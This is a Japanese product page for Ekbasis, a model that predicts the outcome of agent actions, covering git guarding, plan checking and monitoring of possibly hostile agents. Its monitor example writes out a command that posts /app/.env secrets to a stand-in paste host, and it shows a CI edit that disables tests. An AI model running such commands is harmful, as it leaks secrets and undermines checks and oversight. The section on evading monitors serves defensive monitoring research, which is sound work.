Ekbasis について
Ekbasisは、行動の結果を1回のフォワードパスで校正済み確率として予測するオープンな結果予測モデルです。実行前にコマンドや変更のリスクを確認するエージェントやコーディングワークフローを対象とします。
主な機能
- 01行動の結果を確率で予測
- 02作業を失う可能性のあるgitコマンドを確認
- 03連続した状態予測に対応
- 04CLI、Python、MCPインターフェースを提供
- 05実行データを予測モデルの学習に利用
活用シーン
- 01実行前にgitコマンドを確認
- 02複数段階の本番変更を評価
- 03一連の行動に伴う状態を追跡
- 04不確実な予測を追加推論へ回す
MCP 対応
MCPサーバーはMCPクライアントにEkbasisの予測機能を公開します。利用には、接続可能なホストAPIまたは別途起動したモデルが必要です。
設定
ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。
uvx ekbasisEKBASIS_URLEkbasis server: the hosted API, or your own server (open weights)EKBASIS_API_KEYシークレットKey for the hosted API (ekb_..., from https://openinterp.org/console); not needed for your own serverローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。
ツール
3掲載時のツール一覧 · 2 週間前に更新
| パラメーター | 型 | 必須 | 説明 |
|---|---|---|---|
| repo | string | いいえ | |
| fetch | boolean | いいえ | |
| safer | boolean | いいえ | |
| commands | array | はい |
詳細
Ekbasis

論文: 迷ったら確認し、確信があれば検証する · DOI 10.5281/zenodo.23146970 · 帰結モデルは AI エージェントをいつ安全にするのか? · DOI 10.5281/zenodo.23197341(研究を再実行するためのデータ、スクリプト、ベンチマーク:paper/agents) · コード: github.com/OpenInterpretability/ekbasis · サイト: openinterp.org/ekbasis
Ekbasis(ἔκβασις、「行動がどのような結果になるか」)は、エージェント向けのオープンな帰結モデルです。現在の状態と行動を受け取り、何が起きるかについて型付きの質問に答えます。このコマンドで作業が失われるか?失敗するか?その後、X はどうなるか?――こうした質問に、キャリブレーションされた確率で、1 回のフォワードパス(生成テキストなし)で答えます。
これは Eikos ファミリーの帰結レイヤーです(Eikos は判断し、Ekbasis は予測します)。合成世界と、使い捨てリポジトリでの Git コマンドの実際の実行を用いてトレーニングされているため、回答はエージェントの推測ではなく、実際に起きたことに基づいています。
このページに記載されているすべての数値は、リリース版の重みを使って測定したものです。RELEASE_EVAL.md には、結果、すべての予測、このチェックポイントの選定方法、事前登録された測定項目(PREREG_release_eval.md、paper/prereg/)、および逸脱が記載されています。 新着(2026-10-16):Ekbasis-Skopos-27B、次期バージョンです。実行されたシェル、git、SQLite、PostgreSQL、Python のシナリオで追加学習しています。同じ項目で Ekbasis-27B と比較すると、git ガードは保留されたコマンド種別で誤警報が減少し、49/799 から 26/799 になりました(対応のある McNemar 検定 p = 5.6 × 10⁻⁶。これらのコマンド種別は git サンドボックスの学習行から除外されていますが、Skopos のファクトリー行には含まれています)。また、作業を失わせるコマンドには同数のフラグを立てます。既知の種別では、863 件中 37 件から 27 件への減少は偶然の範囲内です。学習済みでない世界のファミリーから得た新たな回答 3,014 件では、アクションに +1.6 ポイントの変化がありました[+0.7、+2.5]。事前登録されたリリース判定では、この基準について
ftest_familyの結果が不合格でしたが、その結果の後(新しい項目が作成される前)に登録された確認では、トレーナーの読み出しによると、この損失は確認されませんでした。最大の改善は分布内(学習に使用したジェネレーター)で見られました。また、一度も見たことのない世界のファミリーでは、誤りのうち確信度 ≥ 0.9 を伴うものが増えました(100 件あたり 4.49 対 3.75)。プロンプト、読み出し、API、クライアントは同じです。評価結果はRELEASE_EVAL_SKOPOS.mdとモデルカードに記載されています。このページの下部にある数値は Ekbasis-27B のものです。Ekbasis-27B で認定されたekbasis.verifyの認定モードは、事前登録されたチェックで Skopos INT4 に引き継がれました(受理された回答 927 件中 7 件の誤り。詳細はdocs/VERIFY.mdを参照してください)。リリース前のブロッカーが宣言されています。言い換えた短いチェックでは、Ekbasis-27B の 117 件に対し 120 件中 113 件が正解でした(−3.3 ポイント、対応のある 95% CI[−6.7、−0.8])。そのため事前登録されたルールが発動しました。意見の分かれた 4 項目に対する正確検定では棄却されず(p = 0.125)、同じマシンで再実行した Ekbasis-27B は公開済みの回答を再現しました(240/240)(リリース判定)。
インストール
クライアントにはサーバーが必要です。ホスト型 API(EKBASIS_URL=https://openinterp.org/api/v1 および EKBASIS_API_KEY=ekb_…、
キーはopeninterp.org/consoleで取得)か、オープンウェイトを使った独自サーバー(クイックスタート)を利用できます。
お使いのマシンから送信される情報(選択したサーバー宛て):各チェックの状態(テキスト形式)です。ガードについては、実行コマンドです。入力された認証情報は置き換えられます(0.1.42 以降:既知のキー接頭辞、Authorization および Cookie ヘッダー、URL 内のパスワード、--password/--token の値、*TOKEN*/*SECRET*/*PASSWORD* に類する名前の値、秘密鍵、長くランダムに見える文字列。EKBASIS_REDACT=0 で無効化できます)。また、そのコマンドがアクセスする可能性のある対象の一覧も送信されます。名前、サイズ、経過時間、およびチェックごとに新たに生成される短いフィンガープリントが含まれますが、ファイルの内容は含まれません。git の場合は、リポジトリの状態(ブランチ、変更されたファイルの名前、コミットの要約)が送信されます。秘匿化は安全策ですが、限界があります(docs/SECURITY.md)。既知の接頭辞や名前に一致しない短いシークレットや特殊なシークレットは、秘匿化されずに送信される可能性があります。フックのログ(ログモード)はお使いのマシン上に保存され、秘匿化されたコマンドが記録されます。
-
コマンドラインと Python(標準ライブラリのみ、Python ≥ 3.9):
mcpエクストラ付きのekbasis、ekbasis-claude-hook、ekbasis-mcp。pip install ekbasis # or without installing: uvx ekbasis health pip install "ekbasis[mcp]" # with the MCP server (Python >= 3.10) pip install "git+https://github.com/OpenInterpretability/ekbasis" # from source -
Claude Code プラグイン:git ガードフック、
ekbasis-guardスキル、MCP サーバー、Bash ツールの PATH 上のekbasisコマンドをまとめてインストールします。claude plugin marketplace add OpenInterpretability/ekbasis --sparse .claude-plugin plugins claude plugin install ekbasis@ekbasisまたは、Claude Code 内で
/plugin marketplace add OpenInterpretability/ekbasisを実行し、続けて/plugin install ekbasis@ekbasisを実行します(--sparseを指定しない場合、マーケットプレイスの手順でリポジトリ全体が複製されます。結果と論文を含めて約 86 MB、指定した場合は約 1 MB です)。プラグイン(
plugins/ekbasis/、約 0.5 MB)はクライアントの独自コピーを実行するため、フックにはpython3(≥ 3.9)とsh、MCP サーバーにはuvが必要です。PyPI からのインストールは不要です。EKBASIS_API_KEY(キーのみの場合はホスト型 API を使用)またはEKBASIS_URLをシェル、あるいは~/.claude/settings.jsonの"env"ブロックで設定し、Claude Code を再起動してください。どちらも設定されていない間、ガードは無効です。各セッションの開始時に設定方法を示す一行が表示され、ekbasisは未設定であることを示します(終了コード 3)。設定後は、フックはClaude Code と MCPで説明するフェイルクローズのフックとして動作します。フックを実行できない場合(python3が見つからない、またはバージョンが 3.9 未満、フック内でエラーが発生、27 秒以内に応答がない場合)は、コマンドを通す代わりに理由を示して確認を求めます。settings.jsonにekbasis-claude-hookを手動で追加した場合は削除してください。削除しないと、各行が二重にチェックされます。 -
任意の MCP クライアント向け MCP サーバー(Python ≥ 3.10):
uvx --python ">=3.10" --with "mcp>=1.2" ekbasis mcp # same as ekbasis-mcp from pip install "ekbasis[mcp]"
どのようなモデルですか?
考えるモデルではありません。判断するモデルでもありません。予測するモデルです。
Ekbasisは厳密な意味でのエージェント向け世界モデルです。状態がどのように変化するかを、行動を条件として予測するモデルです。 次の状態の変数について、較正された確率分布をワンパスで出力し、これを実行したらどうなるかに答えます。
| LLM、推論 | System One(Eikos、Jev) | Ekbasis | |
|---|---|---|---|
| 答えること | テキストによるあらゆる内容 | 現在の状態:今どの選択肢が当てはまるか | これを実行したらどうなるか |
| 質問の種類 | オープンな質問 | 現在の状態に対する判断 | 介入:行動した結果 |
| 出力 | 生成テキスト | 選択肢についての較正された確率分布 | 次の状態の変数についての較正された確率分布 |
| 学習元 | 人間とモデルのテキスト | 教師による判断 | 行動を実行したときに実際に起きたこと |
| 時間 | 推論に数秒から数分 | ワンパス | ステップごとにワンパス。連鎖させて長いシーケンスに対応 |
| エージェントでの役割 | 計画して話す | 判断役 | シミュレーター兼ガード:先を予測する |
イメージする方法は2つあります。
- **エージェントに欠けていた順モデルです。**腕を動かす前に、脳は運動指令の結果を予測します。そのおかげで、素早く行動し、間違いが起きる前に修正できます。一方が計画し、もう一方が予測します。エージェントが計画し、Ekbasisが予測します。
- **現実のものとなった世界モデルモジュールです。**LeCunの自律型機械知能のアーキテクチャでは、世界モデル(行動を与えられたときに次の状態を予測する)、アクター、クリティックを分離しています。LLMエージェントがアクター、AgentGuardがクリティック、Ekbasisが世界モデルです。内部状態を実際の結果に対応させるJEPA形式の損失関数を使って学習しました。
LLM(Eikos-27B経由のQwen3.8-27B)を基にしていますが、LLMとしては動作しません。学習目標と出力形式により、テキストではなく確率で回答します。
まずはこちら
| 目的 | 使用するもの | 品質を左右するもの |
|---|---|---|
エージェントが実行する前に、本番環境への一連の変更(kubectl、SQL、デプロイ、サーバーコマンド)を確認する | システムに関するルールファイルとekbasis plan-checkを使用し、--casesでそのファイルをテストします | ルールと状態に含まれる事実:何が何に依存しているか、何が完全に削除されるか、何にコピーがないか |
| コーディングエージェントがgitの未コミット作業を失わないようにする | Claude Codeのプラグインまたはフック | 書くものはありません。リポジトリを読み取り、低コストであればコピー上でローカルコマンドを実行します |
| 結果について独自の質問をする | ask / predict | 状態と質問がどれだけ明確に記述されているか |
価値の大部分は1行目にあります。フックが対象とするのはgitだけです。git以外では、シェルガード(EKBASIS_SHELL_GUARD=1)は頻繁に確認を求めるため、常用できる段階ではありません。
用途
- 実行前の確認:1つのGPUで質問あたり約0.1秒、較正済みです。エージェントはすべての行動を確認し、リスクが高いものや不確かなものだけをエスカレーションできます。
- コーディングエージェント向けのgitガード:実際のリポジトリの状態を、モデルの学習形式(競合を左右する要因も含む)で記述し、コマンドを実行前に確認します。
- シミュレーションと状態追跡:行動を一度に1つずつ連鎖させて、長いシーケンスを追跡します。実際の状態を読み取る方法があれば、不確かなときだけ確認します(不確かなときに確認するを参照)。
- 高コストな推論に先立つ迅速な初期判断:Ekbasisが確信を持てる場合はその回答を使い、そうでない場合は大規模な推論モデルにエスカレーションします。
クイックスタート
-
モデルをサーブする(約80 GBのGPU 1基、vLLM ≥ 0.30)。モデルのフォルダーにはサービング用コードが含まれています。vLLMをインストールしたPython環境で実行してください:
hf download caiovicentino1/Ekbasis-Skopos-27B --local-dir Ekbasis-Skopos-27B bash Ekbasis-Skopos-27B/serve_vllm.sh Ekbasis-Skopos-27B 8001 # vLLM on 127.0.0.1:8001 python Ekbasis-Skopos-27B/serve.py --model Ekbasis-Skopos-27B --vllm-url http://127.0.0.1:8001 --port 8000以前のバージョンである
caiovicentino1/Ekbasis-27Bも、同じ方法でサーブできます。 -
クライアントをインストールする(標準ライブラリのみ、Python ≥ 3.9)。サーバーに接続できる任意の場所で実行してください:
pip install "git+https://github.com/OpenInterpretability/ekbasis" # ekbasis, ekbasis-claude-hook (MCP: below) export EKBASIS_URL=http://127.0.0.1:8000 ekbasis health -
Gitコマンドを実行する前に確認する(任意のリポジトリで実行できます):
ekbasis git-check -- "git checkout -- app.py" # Ekbasis: RISKY (lose uncommitted work: 99%) # 0% fails git checkout -- app.py # - may permanently lose uncommitted work (99%)リスクが見つからない場合の終了コードは0、未コミットの作業が失われる可能性のあるコマンドが含まれる場合は2、ガードが予測できない場合(サーバーに接続できない、または時間内に応答がない、リポジトリを読み取れない、コマンドがGitに別のリポジトリを指定している、またはエイリアスを使用している)は3です。3はリスクありとして扱ってください。1は使用法エラーです。ガードは安全側に倒す設計です。
--fail-openを指定すると、「予測できない」場合に警告を出して0を返します。これは誤る可能性のある警告レイヤーであり、セキュリティ境界ではありません。確認、バックアップ、最小権限を維持してください(docs/SECURITY.md)。
ビルド
Ekbasis-Skopos-27B(推奨):各ビルドのモデルカードには、同じ評価におけるbf16との品質比較(PREREG_quantized.mdのゲート)が記載されており、ビルドごとに独自のcalibrated_temperatureが含まれています。必要なメモリ容量は、同じアーキテクチャとサイズのEkbasis-27Bのビルドで測定した値です。
| ビルド | サイズ | 実行可能な環境 | bf16との比較 |
|---|---|---|---|
| Ekbasis-Skopos-27B (bf16) | 54.7 GB | 80 GBのGPU | 基準 |
| Ekbasis-Skopos-27B-FP8 | 30.4 GB | 48 GBのGPU | 量子化ゲートに合格:bf16と同じ回答を98.6%で生成 |
| Ekbasis-Skopos-27B-INT4 | 18.6 GB | 32 GBのGPU | 量子化ゲートに合格:bf16と同じ回答を97.4%で生成 |
Ekbasis-27B(以前のバージョン):動作するビルドはすべてリリースされているため、各マシンでは適合するビルドを実行できます。各ビルドのモデルカードには、同じ評価におけるbf16との品質比較が記載されています(ゲートはPREREG_quantized.mdで事前登録されています)。
| ビルド | サイズ | 実行可能な環境 | 速度(RTX PRO 6000 1基) |
|---|---|---|---|
| Ekbasis-27B (bf16) | 55 GB | 80 GBのGPU | 基準 |
| Ekbasis-27B-FP8 | 30.4 GB | 48 GBのGPU、FP8カーネル(Ada、Hopper、Blackwell)使用時に最速 | bf16のスループットの1.6倍 |
| Ekbasis-27B-INT4 | 18.6 GB | 32 GBのGPU、テキストのみ・4kコンテキストなら24 GB(コマンドはモデルカードを参照) | bf16とほぼ同等 |
| Ekbasis-27B-MLX-4bit | 15 GB | Apple Silicon搭載Mac(32 GB以上を推奨) | — |
GPUのサイズは、RTX PRO 6000 1基でvLLMが使用するメモリをその容量に制限し、フルメモリのビルドと回答が一致することを確認してテストしました。MLXビルドの品質ゲートはLinux GPU上でMLXを使用して実行し、その後Apple Silicon搭載Macでテストしました(モデルカードの「On a Mac: tested」を参照)。
Python
from ekbasis import Ekbasis, world_state, choice, yes_no, simulate
from ekbasis import git
client = Ekbasis() # EKBASIS_URL or http://127.0.0.1:8000
# a git guard
v = git.check(["git stash", "git checkout feature", "git stash pop"], repo=".")
print(v.risky, v.p_lost, v.p_fail, v.summary())
# any world whose rules you can write down
rules = ("World: containers A (holds 5 liters), B (holds 3 liters) of water. 'fill X' fills X to the top; "
"'empty X' empties X; 'pour X into Y' moves water from X to Y until X is empty or Y is full, "
"whichever comes first.")
ans = client.ask(world_state(rules, "A: 5 of 5 liters, B: 0 of 3 liters", ["pour A into B"]),
{"a": choice("How many liters are in A?", [str(k) for k in range(6)])})
print(ans["a"].value, ans["a"].confidence)
# a long sequence: one action at a time, every variable asked after each action
render = lambda s: f"A: {s['a']} of 5 liters, B: {s['b']} of 3 liters"
qs = {"a": choice("How many liters are in A?", [str(k) for k in range(6)]),
"b": choice("How many liters are in B?", [str(k) for k in range(4)])}
sim = simulate(client, rules, {"a": "5", "b": "0"}, ["pour A into B", "empty B", "pour A into B"], qs, render)
print(sim.final, sim.confidence) # use the chain confidence, not the last step's
# (0.1.2) the rule that decides the answer, repeated right before the question
from ekbasis import recap
q = recap(yes_no("Is the small disk still on peg A?"), "A disk can never be placed on a smaller disk.")
# (0.1.2) a running total: the model tracks the number, the code compares it with the limit
from ekbasis import number, threshold
t = threshold(client, "Each purchase adds its price to the month's spending.", {"spent": "0"},
["buy a 30-dollar plan", "buy a 45-dollar add-on", "buy a 25-dollar seat"],
{"spent": number("How much has been spent this month, in dollars?", range(0, 205, 5))},
lambda s: f"Spent this month: {s['spent']} dollars.", quantity="spent", op=">=", limit=100, when="ever")
print(t.value, t.holds, t.confidence)
- 較正済み確率(
answer.calibrated、0.1.41 / TS 0.2.5 以降):ホスト型 API は、保留された検証データで調整した温度での各回答も、独自のフィールドで返します。ans["a"].calibrated.p_yes(はい/いいえ)と.calibrated.confidence/.probabilitiesは、頻度として読み取ることを意図しています。選ばれる回答は同じで、通常のフィールド(p_yes、confidence、probabilities)にはモデルの生の確率が保持されます。このクライアントに組み込まれたすべてのしきい値はこの値を使用するため、判定内容は何も変わりません。較正済みの数値をユーザーに示し、それらに対する独自のしきい値を設定してください。返さないサーバーではNoneになります。 - 要約(
recap、simulate(..., recap=True)、ekbasis predict --recap):質問の直前に回答を決めるルールを繰り返すことで、2つの値を比較する明示的な禁止事項を Ekbasis が無視したケースを解決しました(ハノイの塔のサイズルール:要約なしでは8問中0問正解、要約ありでは8問中8問正解。機能マップ、habit_vs_rule)。新しい項目では、全体として効果はありますが、すべてに有効というわけではありません。既知および創作の単一ルールの世界では97.4% → 98.6%(12問を改善、悪化なし)、ルールの連鎖と直線上の捕獲を含む創作の世界では86.7% → 88.9%(51問を改善した一方、正解1,120問中26問が不正解に)。回答を決めると分かっているルールに使ってください。オプトインのままであり、使わない場合、すべてのプロンプトは0.1.1と同じです。 - コードで比較(
threshold):Ekbasis は累計を適切に扱います(各ステップで98~100%の完全一致)が、合計が上限の1、2単位以内の場合に「上限に達したか」を判断するのは苦手です。数値を尋ねてコードで比較すると、予算、タイマー、割り当て数、レート制限、ロックアウトで99.0%を達成しました(機能マップ、accumulation)。合計が上限を超えるかどうかで結果が決まる場合に使ってください。
TypeScript / JavaScript
npm install ekbasis (sdk/typescript):Python クライアントと同じリクエストとプロンプト構成で、依存関係はなく、Node 18+、Deno、Bun、ブラウザーに対応しています。
import { Ekbasis, yesNo, checkPlan } from "ekbasis";
const ek = new Ekbasis(); // EKBASIS_API_KEY; EKBASIS_URL defaults to the hosted API
const pc = await checkPlan(ek, rules, state, actions,
{ data: yesNo("Do these actions permanently delete data the user did not ask to delete?") });
確信がないときに確認する(予測し、観察し、修正する)
このセクションの基となる研究は、論文 確信がないときに確認し、確信があるときに検証する(PDF、 doi:10.5281/zenodo.23146970)です。すべての分析は事前登録され、保存済みの出力から再実行されています。
Ekbasis は長い一連の操作を一度に1つずつ実行します。後続の操作で誤りが上書きされる場合(容器への再充填、ランプの切り替えなど)、連鎖は自動的に修復されます。順序のように、誤りを取り消すことができない場合は、誤りが積み重なります。simulate() に実際の状態を読み取る方法を与えると、確信がないときだけ確認し、観察した内容をもとに続行します。
from ekbasis import simulate
sim = simulate(client, rules, state, actions, questions, render,
observe=read_real_state, # the real state as {variable: value}: git status, a query, a sensor
ordering=list(questions)) # the state is an ordering: read the most probable valid one
print(sim.final, sim.looks, sim.surprises) # when it looked, and which looks found the forecast wrong
デフォルトでは、連鎖の確信度(最後に確認してからの各回答の確信度の積)が0.9を下回ると確認し、予測もときどき検証します。確認せずに8回操作した後、予測が当たっている間は間隔を倍増させて最大64まで広げます。予測が外れていると確認された場合(サプライズ)、間隔を8に戻し、次の操作の後に再び確認します。予測が当たっていると確認されるまでこれを続けます。look_below、look_step_below、look_every、checks で別のルールを設定できます。
100・200操作の連鎖(各世界4回、カードは8回):
| 世界 | 最後まで確認しない場合の正確さ | 確信がないときに確認する場合の正確さ | 途中で誤ったステップ数、操作100回あたり | 確認回数、操作100回あたり |
|---|---|---|---|---|
| 容器(学習済み) | 4/4 · 4/4 | 4/4 · 4/4 | 2.3 → 1.5 | 3.5 · 2.9 |
| ランプ(学習済み) | 4/4 · 4/4 | 4/4 · 4/4 | 0 → 0 | 3 · 3.1 |
| 機械(学習時に未見) | 4/4 · 4/4 | 4/4 · 4/4 | 2.3 → 0 | 6.8 · 10 |
| カードの並べ替え(学習時に未見) | 0/8 · 2/8 | 8/8 · 8/8 | 67.8 → 0 | 42.3 · 32.6 |
新しいシードを使った追加の200チェーンを、リリース評価後に実行しました(デフォルトルール。カードは80件、その他の各ワールドは40件。RELEASE_EVAL.md、「200 more chains」)。198件は最後まで完全に正解しました。正解しなかった2件のうち、100アクションのコンテナチェーンは87番目のアクションで誤り、信頼度は0.99でした。最後のチェックの後に誤り、そのまま最後まで誤ったままでした(最終回答は正解)。200アクションのカードチェーンは、ループがチェックしない最後のアクションだけを誤りました。そのステップにはモデルがフラグを立てていました(そのステップの確率は0.0006)。途中で誤ったステップ数は100アクションあたり0.23件でした(コンテナ0.4、ランプ0.7、機械0、カード0.01)。チェック回数は100アクションあたり16.9回でした。 |
チェック回数を減らすには、look_below=0.5 とします。4つのワールドすべてで、各チェーンは依然として完全に正解しました(40件中40件)。チェック回数は100アクションあたり17.3回から11.2回に減り、途中で誤ったステップ数は100アクションあたり0.3件から0.7件に増えました。
順序付けでは、各値がどこにあるかも尋ねます。where={value: question} とし、各質問の選択肢には順序付けの変数を指定します(「ハートの7は何番目にありますか?」)。両方の見方を同じリクエストで読み合わせると、カードチェーンでは、同じ正確さを保ったままチェック回数がおよそ半分になりました(チェーン信頼度 < 0.9で、100アクションあたり20 · 15回のチェック。40 · 31回の場合も全チェーンが完全に正解。RELEASE_EVAL.md、「Two views」)。
信頼度が捉えるもの、捉えないもの。 カードの順序付けでは、一度も見たことのないワールドで100ステップあたり2.7ステップが誤りましたが、そのすべてに0.7未満の確率を付けました。不確かなときにチェックすれば、こうした誤りを見つけられます。学習済みのワールドでは、誤りはまれですが(100ステップあたり0~0.17件)、信頼度は高い値を示します(0.972~0.996)。固定しきい値では見逃してしまうため、誤りを見つけるのはチェックです(コンテナでは、チェックにより途中で誤ったステップ数が100ステップあたり2.3件から1.5件に減少)。12種類のワールドファミリーで生成された15,008件の質問を対象に、事前登録したテストを最初のリリース候補であるV42で実行したところ、パターンが確認されました。学習済みのファミリーでは誤答の58%に0.9以上の信頼度が付いていたのに対し、一度も見たことのないファミリーでは28%でした(差は30ポイント、95%区間は24~37)。一方、信頼度による正答と誤答の順位付けの性能は、どちらのファミリーでもほぼ同じでした(AUROCは0.92と0.91)。帰結に基づく学習前の同じモデル、Eikos-27Bでは、高い信頼度での誤答はほとんどありませんでした(誤りの1.9%と0.5%)。つまり、学習によって高い信頼度での誤りが生じました(レポート)。同じ質問に対して、リリース版では48%と25%で、学習済みファミリーにおける100回答あたりの高信頼度での誤りは2.06件でした。V42の2.79件より少ないものの、なくなったわけではありません。そのため、チェックはデフォルトで有効のままです(レポート)。訂正(2026年10月6日):15,008件の質問のうち5,318件は、すべて学習済みファミリーのもので、学習データの行と同じか、ほぼ同じ内容を繰り返していたことが判明しました。これは、生成器がシードを変えても小さなワールドを繰り返し生成するためです。これらを除外しても、テストでは同じパターンが確認されました(50.5%対27.8%、差は22.7ポイント、95%区間は12.6~32.5)。学習によって高信頼度での誤りが生じたことに変わりはなく、リリース版では50.0%と25.1%で、学習済みファミリーにおける100回答あたりの高信頼度での誤りは1.46件でした。V42では1.69件でした(監査)。
この考え方は古典的なものです。状態推定器(カルマンフィルター)の予測・更新ループを基に、予測器自身の不確実性に応じて観測を開始します(イベントベースの状態推定。学習済みモデルの場合はアクティブ観測)。チェックのバックオフにはTrickleアルゴリズムを使っています。Ekbasisの新しい点は、1回の処理で較正済みの予測を出力でき、各アクションで実行できるほど低コストであることです。先行研究については、REFERENCESをご覧ください。
これによって可能になること
- 軌道を外れずに続く長時間セッション。 測定した240件のチェーンのうち238件が正確に完了しました(1件はモデルが最後のアクションを見逃したと指摘していたものの、そのアクションだけを逃し、もう1件は最後の確認後、自信のあるステップで誤りました)。観察したステップはわずかでした(学習したワールドではアクション100回あたり2.9~3.5回、未経験の順序付けワールドでは33~42回)。これは、観察にコストがかかる場合(ビジョンモデルによるスクリーンショットの読み取り、応答の遅いAPI、人による確認)に重要です。
- 計画のためのホライズン。 観察を行わずに、
sim.horizon()を使うと、モデル自身の信頼度に基づいて予測がどこまで有効か、つまり何アクションまで実行できるかがわかります。そこまで実行したら、観察して計画を立て直します。 - 安全シグナル。 信頼度が急に下がった場合や、観察時に予想外のこと(
sim.surprises)があった場合は、世界がモデルの予想から外れたことを示します。エージェントが予想外の動作をした、環境が変化した、またはタスクがEkbasisの知識の範囲外である可能性があります。確認する、あるいは警告を出すタイミングです。 - エスカレーションの共通ルール。 現実を確認する場合も、高度な推論モデルを呼び出す場合も、人に尋ねる場合も、同じ校正済みの信頼度に基づいて判断します。
用途(このループは、ルールがプロンプトに記述されたワールドで測定しました。未経験の2つのワールドでは観察の頻度が上がり、144件のチェーンのうち1件を除いてすべて正確に完了しました。唯一完了できなかった1件は、最後のアクションで失敗しました。利用する前に、ご自身の環境で測定してください。)
- コーディングエージェントとDevOpsエージェント: 長時間のセッションにおけるリポジトリ、ファイル、インフラストラクチャの状態を管理し、不確かな場合にのみ
git statusを実行します。 - ブラウザー操作エージェントとコンピューター操作エージェント: 各アクション後の画面を管理し、不確かな場合にのみスクリーンショットを撮ります(Ekabsisはすでに、シンプルなワールドの画像から初期状態を読み取りますが、実際の画面ではまだ測定していません)。
- ビジネスプロセス: 一連の取引後の注文、在庫、残高を管理し、不確かな場合にのみデータベースと照合します。
- デジタルツインとIoT: センサーの読み取り間の機械の状態を管理し、不確かな場合にセンサーを読み取ります。
- 金融業務: 一連の注文後のポジションと証拠金を管理し、不確かな場合にブローカーに確認します。
実行前に計画を確認する(check_plan、0.1.26 以降)
エージェントは、スクリプト、パイプライン、複数のツール呼び出しなど、複数のアクションを一度に実行することがよくあります。check_plan は、現在の状態を基に計画のすべての先頭部分を予測し、どこまで安全に進められるかを示します。すべての先頭部分が高い確信度で無害と予測された場合は計画全体を実行できます。それ以外の場合は、警告または不確実と判定された最初の先頭部分より前のステップを先に実行します。これにより、次の確認では実際の状態を読み取れます(確信が持てない場合は、まとめて実行する前に状態を確認してください)。
from ekbasis import Ekbasis, yes_no, check_plan
rules = ("World: a team's services on a cluster. 'scale X to N' sets how many pods X runs; a service with 0 pods is down. "
"'delete claim C' deletes a storage claim; if its volume's reclaim policy is Delete, the volume and its data are "
"erased, if it is Retain the data stays. 'set reclaim of C to Retain' changes that claim's volume policy. "
"'annotate X' only adds a note and changes nothing else.")
state = ("Services: web (3 pods, serving users), worker (2 pods). Claims: uploads (used by web, reclaim policy Delete, "
"holds customers' files), cache (reclaim policy Delete, rebuildable).")
harm = {"data": yes_no("Do these actions permanently erase data that is not rebuildable?"),
"down": yes_no("After these actions, is web down?")}
pc = check_plan(Ekbasis(), rules, state,
["annotate web", "scale worker to 1", "delete claim cache", "delete claim uploads", "annotate worker"], harm)
print(pc.summary())
# run steps 1-3 now (predicted safe); it flags data step 4: check it on the state as it is after them
削除の前に "set reclaim of uploads to Retain" を追加した同じ計画は ok となります(全 5 ステップが無害で、確信度は 0.995 以上)。ホスト型 API での記録:リクエスト数は 4 件と 5 件、所要時間は 3.7 秒と 4.4 秒です。
定義済みの危害に関する質問とユーザーのリクエスト(0.1.28 以降)。 harms() は、はい/いいえで答える 4 つの質問 data_lost、outage、unasked_deletes、breaks_later を返します。いずれも、ユーザーのリクエストが求めていない危害について尋ねます。request= でリクエストを渡すと、元になった一連の研究(Kubernetes)と同じように、すべてのプロンプトの先頭に表示されます(別の分野の場合は、まずいくつかの独自のケースで試してください)。
from ekbasis import Ekbasis, check_plan, harms
pc = check_plan(Ekbasis(), rules, state, actions, harms(), request="Free some disk space on the server.")
コマンドラインまたは任意のエージェントハーネスから実行(ekbasis plan-check、0.1.28 以降)。 終了コード 0:すべてのステップを実行します。終了コード 2:最初の N ステップを実行し、次のステップの前に実際の状態を確認します。終了コード 3:予測できません(リスクありとして扱います)。
$ ekbasis plan-check --rules @rules.md --state @state.txt \
--request "web1 is running out of memory; free some memory on web1" \
"ssh web1 'free -h'" "ssh db1 'sudo kill -9 912'"
Ekbasis: STOP BEFORE STEP 2 ssh db1 'sudo kill -9 912'
at stake:
97% a serving service goes down
97% deletes things nobody asked to delete
run step 1 now, then look at the real state and check the rest
ホスト型 API での記録は、examples/plan-check-servers を使って行われました。ルールには、何がどこで実行され、何がそれに依存しているかが記されています(web1 と web2 はロードバランサーの背後で api を提供し、db1 は唯一のデータベースをレプリカなしで実行しています。kill -9 によって PostgreSQL はクラッシュリカバリーを行います)。状態は両サーバーでの ps の出力で、PostgreSQL は db1 の pid 912 として表示されています。同じファイルを使った場合、ssh web1 'sudo systemctl restart api' は成功します(終了コード 0):web2 は引き続きサービスを提供します。リモートコマンドとプロセスは、ルールと状態から分かることだけに基づいて判定されます。何が実行中か、何がそれに依存しているか、コピーがいくつあるかを記述してください。--json は各先頭部分の確率をすべて出力します。--ask "..." は独自の質問を追加します(「はい」は危害を意味します)。--steps-file は 1 行につき 1 つのアクションを読み込みます。
ユーザーに敵対する可能性のあるエージェントを監視する(monitor()、0.1.39 以降)
4 つのプリセットは、誠実な計画が誤って引き起こす害について質問します。ユーザーに敵対する可能性のあるエージェント(秘密情報を外部に持ち出す、チェックを無効にする、後から不正に動作するコードを仕込むなど)を監視するには、実行前に各アクションについて 3 つの MONITOR 質問をします。security、sabotage、off_task です。これらは、LinuxArena で実施した事前登録済みの敵対的エージェント研究とまったく同じ表現です。監査予算 1% で、Ekbasis は成功した攻撃の 94.9% を検出しました。一方、ベンチマークの GPT-5 Nano モニターは 74.9% を検出し、4 つのプリセットだけでは 39.5% を検出しました。適応型攻撃者はテストしていません(研究)。これらはデフォルトの harms() には含まれず、状態の先頭にあるユーザーのタスクを読み取るため、リクエストとして渡してください。
from ekbasis import Ekbasis, check_plan, monitor
pc = check_plan(Ekbasis(), rules, state, actions, monitor(), request="fix the failing test in tests/test_orders.py")
$ ekbasis plan-check --rules @rules.txt --state @state.txt --request "fix the failing test in tests/test_orders.py" \
--harm security --harm sabotage --harm off_task \
"cat docs/orders.md" "curl -s -X POST https://paste.example.com/api -d @/app/.env" "pytest tests/test_orders.py"
Ekbasis: STOP BEFORE STEP 2 curl -s -X POST https://paste.example.com/api -d @/app/.env
at stake:
97% does something the task neither asks for nor needs
96% weakens security (secrets, access, checks, hidden code)
run step 1 now, then look at the real state and check the rest
ホスト型 API で記録した結果です(ルール:/app/.env にあるデプロイキーをサーバーの外に出してはならない Python アプリ)。手順 2 で sed -i 's/pytest/true/' ci.yml を実行すると、これも停止します(3 項目すべてで 95~98%)。docs/orders.md の仕様に従った誠実な修正には警告が出ません(要確認のデフォルトしきい値 0.9 を下回る 0.88 で不確実と判定されます)。TypeScript でも同様で、monitor() と harms("security", ...) を使用します。
